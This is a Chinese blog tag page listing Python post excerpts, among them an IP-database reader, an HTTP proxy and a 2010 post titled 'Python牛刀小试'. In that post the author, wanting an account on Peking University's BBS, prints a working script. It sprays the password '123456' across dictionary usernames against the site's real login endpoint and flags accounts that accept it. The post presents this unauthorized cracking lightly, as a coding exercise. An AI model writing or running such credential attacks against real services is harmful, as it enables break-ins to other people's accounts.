文章关键字 ‘Python’

用Python脚本查询纯真IP库QQWry.dat(Demon修改版)

2011年11月15日,星期二

由于要用 Python 读取一个和纯真IP数据库 QQWry.dat 格式差不多的 IPv6 数据库,所以在网上搜索了一下,在 LinuxTOY 看到了一个 Python 脚本,发现有一些小小的问题,于是修改了一下。

(更多…)

Python Proxy,快速、轻量级的HTTP代理服务器

2011年04月28日,星期四

Python Proxy:http://code.google.com/p/python-proxy/

所有的代码,包括注释在内181行,不要注释100行左右。Python 强大的标准库果然不是盖的啊,稍微修改一下就能实现很邪恶的功能,不是吗?

“画蛇添足”的Python

2011年04月17日,星期日

Python,直译是蟒蛇的意思,和画蛇添足似乎有那么点联系。今天就遇到了一个Python“画蛇添足”的问题。傍晚的时候有人加我QQ,说是请教Python问题,于是就通过了。通过后才发现,原来他之前加过我,前段时间清理QQ,把一些很少说话的人删掉了,其中就有他。问题是这样描述的:

(更多…)

Python,又见Python

2011年04月3日,星期日

标题出自古龙晚期小说《飞刀,又见飞刀》。《飞刀,又见飞刀》是《多情剑客无情剑》的后续,以“小李探花”李寻欢的孙子李坏与“月神”薛采月的故事为主线。标题只是为了呼应很久以前写的《Python牛刀小试》,内容上并没有联系。

(更多…)

Python牛刀小试

2010年11月19日,星期五

今天有个朋友问我有没有北大BBS的账号。真奇怪,我又不是北大的,怎么会有北大BBS的账号?我让她问她北大的朋友要,她说她没有北大的朋友。

难道真的要我破解一个么?算了,正好试试我的Python水平。

#coding: gbk
import httplib, urllib

def Check(username, password):
    params = urllib.urlencode(
        {'userid': username, 'passwd': password})
    headers = {"Content-type":
        "application/x-www-form-urlencoded"}
    conn = httplib.HTTPSConnection("www.bdwm.net")
    conn.request("POST",
        "/bbs/bbslog2.php", params, headers)
    res = conn.getresponse().read()
    conn.close()
    if res.find("密码不正确") != -1:
        return False
    elif res.find("不存在这个用户") != -1:
        return False
    else:
        return True

for i in open("English.Dic"):
    if Check(i.rstrip(),"123456"):
        print i

顺便也写了个VBS版的,感觉貌似VBS比较快,感觉出问题了?

(更多…)